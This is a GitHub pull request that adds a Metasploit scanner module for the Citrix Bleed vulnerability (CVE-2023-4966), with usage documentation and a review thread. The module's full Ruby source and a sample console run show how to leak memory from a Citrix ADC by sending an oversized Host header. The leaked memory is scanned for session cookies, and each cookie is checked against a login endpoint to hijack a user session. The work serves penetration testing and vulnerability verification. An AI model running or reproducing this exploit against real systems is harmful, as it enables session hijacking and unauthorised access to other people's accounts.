Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for Citrix Bleed (CVE-2023-4966) #18492

Merged
merged 4 commits into from
Oct 30, 2023
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
## Vulnerable Application

This module scans for a vulnerability that allows an remote, unauthenticated attacker to leak memory for a target Citrix
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
ADC server. The leaked memory is then scanned for session cookies which can be hijacked if found.

## Verification Steps
Example steps in this format (is also in the PR):

1. Install the application
2. Start msfconsole
3. Do: `use auxiliary/scanner/http/citrix_bleed_cve_2023_4966`
4. Do: `set RHOSTS`
5. Do: `run`

## Options

## Scenarios
Specific demo of using the module that might be useful in a real world scenario.

### Citrix ADC 13.1-48.47

NetScaler VPX instance for VMware ESX from `NSVPX-ESX-13.1-48.47_nc_64`.

```
msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > show options

Module options (auxiliary/scanner/http/citrix_bleed_cve_2023_4966):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.150 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
THREADS 20 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) > run

[+] Cookie: NSC_AAAC=fdac8de9ed76012688b4d33e9d5f74b00c3a0818745525d5f4f58455e445a4a42 Username: metasploit
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/citrix_bleed_cve_2023_4966) >
```

Once the cookie has been leaked, load it into the browser using the developer tools.
94 changes: 94 additions & 0 deletions modules/auxiliary/scanner/http/citrix_bleed_cve_2023_4966.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

COOKIE_NAME = 'NSC_AAAC'.freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Citrix ADC (NetScaler) Bleed Scanner',
'Description' => %q{
This module scans for a vulnerability that allows an remote, unauthenticated attacker to leak memory for a
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
target Citrix ADC server. The leaked memory is then scanned for session cookies which can be hijacked if found.
},
'Author' => [
'Dylan Pindur', # original assetnote writeup
'Spencer McIntyre' # metasploit module
],
'References' => [
['CVE', '2023-4966'],
['URL', 'https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966']
],
'DisclosureDate' => '2023-10-25',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => [],
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
'AKA' => ['Citrix Bleed']
},
'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true }
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def get_user_for_cookie(cookie)
vprint_status("Checking cookie: #{cookie}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'logon/LogonPoint/Authentication/GetUserName'),
'headers' => {
'Cookie' => "#{COOKIE_NAME}=#{cookie}"
}
)
return nil unless res&.code == 200

res.body.strip
end

def run_host(_target_host)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'oauth/idp/.well-known/openid-configuration'),
'headers' => {
'Host' => Rex::Text.rand_text_alpha(24812),
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
'Connection' => 'close'
}
)
return nil unless res&.code == 200
return nil unless res.headers['Content-Type'].present?
return nil unless res.headers['Content-Type'].downcase.start_with?('application/json')

username = nil
res.body.scan(/([0-9a-f]{32,65})/i).each do |cookie|
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
res.body.scan(/([0-9a-f]{32,65})/i).each do |cookie|
res.body.scan(/([0-9a-f]{65}|[0-9a-f]{32})/i).each do |cookie|

{32,65} means "between 32 and 65 in length". Note that the order is important in my suggestion, since the regex will try to match the first condition (length = 65), and then "length = 32", so that truncation shouldn't happen.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I mean to keep it at "between 32 and 65 in length". That was intentional because there were implications that different versions used different sized cookies but I wasn't clear that it's always either exactly 32 or 65 bytes in length. Ultimately, the cookie's value is tested anyways, so it's unlikely we'd yield false positives. This would just reduce the set that are tested.

cookie = cookie.first
username = get_user_for_cookie(cookie)
next unless username

print_good("Cookie: #{COOKIE_NAME}=#{cookie} Username: #{username}")
report_vuln(
host: rhost,
port: rport,
name: name,
refs: references
)
end

unless username
print_status('No valid cookies were leaked from the target.')
end
end
end